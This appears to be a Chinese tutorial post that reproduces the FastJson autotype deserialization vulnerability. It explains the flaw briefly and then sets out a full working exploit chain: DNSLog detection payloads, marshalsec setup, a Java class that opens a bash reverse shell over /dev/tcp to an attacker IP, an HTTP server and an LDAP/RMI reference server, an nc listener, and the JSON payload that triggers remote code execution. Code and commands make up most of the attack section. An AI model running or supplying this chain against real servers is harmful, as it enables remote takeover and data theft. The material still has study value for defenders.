FastJson反序列化漏洞（复现）
漏洞介绍
FastJson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
FastJson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据。
详细描述
漏洞利用FastJson autotype处理Json对象的时候，未对@type字段进行完整的安全性验证，攻击者可以传入危险类，并调用危险类连接远程RMI主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞，获取服务器敏感信息，甚至可以利用此漏洞进一步的对服务器数据进行操作。
攻击流程：制作反弹Payload -> 开启HTTP服务 -> 启动LDAP服务 -> 监听EXP中端口 -> 执行Payload
漏洞复现
LOGIN页面登录抓包
添加字符破环原始json数据发现为fastjson
验证是否存在fastjson漏洞（可利用Burp插件或检测脚本）
或利用以下Payload DNSLog验证
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://dnslog.cn地址/zcc",
"autoCommit":true
}
}
通过检测发现存在漏洞。
漏洞利用
前期准备：
1. 工具：GitHub - mbechler/marshalsec
下载后进入目录利用以下语句进行编译
mvn clean package -DskipTests #编译可能会遇到问题，在此遇到JAVAC没装，装一下JAVAC就可以了（无报错请忽略） yum install java-devel
编译完成后会在target目录生成 marshalsec-0.0.3-SNAPSHOT-all.jar 文件
2. 新建一个fastjson.java文件,写exp代码。
vps，以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/反弹IP端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac编译生成fastjson.class文件
javac ./fastjson.java
3. 新建窗口，启动http服务
python3 -m http.server 8000
本地访问，测试是否服务正常启动。
4. 新建窗口 VPS服务器启动LDAP服务，监听1099端口，并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://web服务IP:8000/#fastjson" 1099
5. 服务器监听4444端口（与3步fastjson.java中写的反弹ip端口一直）
nc -lvvp 4444
6. 返回BURP构造Payload反弹Shell
{
"user":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},"password":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://IP:1099/fastjson", #启动的LDAP服务ip+端口 （第5步）
"autoCommit":true
}
}
FastJson验证
抓包改为POST方式，添加字符破坏原有数据，返回包会出现fastjson字样，但是这个可以屏蔽
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog地址"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog地址"}
{"@type":"java.net.Inet6Address","val":"dnslog地址"}
发现了fastjson指纹，可以通过burp插件或脚本，检测是否存在漏洞。
相关工具：点击关注公众号：7Seven安全
参考：FastJson漏洞讲解：
关于fastjson 漏洞原理分析_toforu的博客-CSDN博客_fastjson漏洞原理
威胁研究 | Fastjson 最新反序列化漏洞复现与防御指南_shell